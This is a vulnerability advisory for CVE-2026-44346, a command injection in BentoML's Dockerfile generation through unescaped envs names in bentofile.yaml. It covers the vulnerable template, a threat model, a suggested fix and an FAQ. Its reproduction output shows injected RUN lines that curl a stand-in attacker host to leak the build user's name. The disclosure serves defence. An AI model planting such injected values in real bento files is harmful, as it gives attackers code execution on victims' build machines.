CVE-2026-44346

BentoML envs[*].name Dockerfile command injection, sibling of CVE-2026-33744 / CVE-2026-35043

A malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73:

{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}

env.value is bash-quoted via the bash_quote filter, but env.name is interpolated raw with no escaping or newline filtering. The template is rendered by _bentoml_impl/docker.generate_dockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).

Sibling relationship to existing CVEs

The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:

• CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added bash_quote to system_packages interpolation in Dockerfile templates and images.py.
• CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added shlex.quote to system_packages in the cloud deployment path (_internal/cloud/deployment.py:1648).

Both patches limit themselves to system_packages. The envs[*].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.

Reproduction

pip install bentoml==1.4.38
python verify_render.py

Expected:

[*] rendered Dockerfile size: 1789 bytes
[*] injected RUN lines: 3
    RUN curl -fsSL http://attacker.example.com/$(whoami)=1
    RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO
    RUN curl -fsSL http://attacker.example.com/$(whoami)

Each injected RUN line is a Dockerfile command that runs during docker build. With $(whoami) shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username.

Threat model

1. Attacker authors a malicious bento with a crafted bentofile.yaml.
2. Attacker exports the bento (.bento or .tar.gz) and distributes (S3, HTTP, BentoCloud share, etc.).
3. Victim imports with bentoml import bento.tar; no validation of envs content.
4. Victim runs bentoml containerize to build the container image.
5. BentoML renders the Dockerfile with the attacker's envs values, producing injected RUN lines.
6. docker build (or BuildKit) executes the injected RUN commands on the build host, achieving RCE in the victim's build environment.

The flow mirrors CVE-2026-33744 exactly, with envs substituted for system_packages.

Affected versions

• bentoml 1.4.38 (verified end-to-end)
• Likely all 1.x versions where _bentoml_impl/docker.py exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings.

Disclosure

Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request.

PoC artifacts

Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-44346 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.39); upgrading removes the vulnerable code path.

Kodem intelligence

In base_v2.j2 lines 71-73, apply the bash_quote filter to env.name (and to the =$VAR reference in the ENV line, since the variable name itself is reused there):

ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }}

Better, since env.name is semantically a Dockerfile identifier, validate at the schema level: in bentoml/_internal/bento/build_config.py:BentoEnvSchema, add an attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$") to the name field so newline / shell-metacharacter values are rejected at config load.

1. What is CVE-2026-44346? CVE-2026-44346 is a high-severity OS command injection vulnerability in bentoml (pip), affecting versions <= 1.4.38. It is fixed in 1.4.39. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-44346? CVE-2026-44346 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of bentoml are affected by CVE-2026-44346? bentoml (pip) versions <= 1.4.38 is affected.
4. Is there a fix for CVE-2026-44346? Yes. CVE-2026-44346 is fixed in 1.4.39. Upgrade to this version or later.
5. Is CVE-2026-44346 exploitable, and should I be worried? Whether CVE-2026-44346 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44346 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44346? Upgrade bentoml to 1.4.39 or later.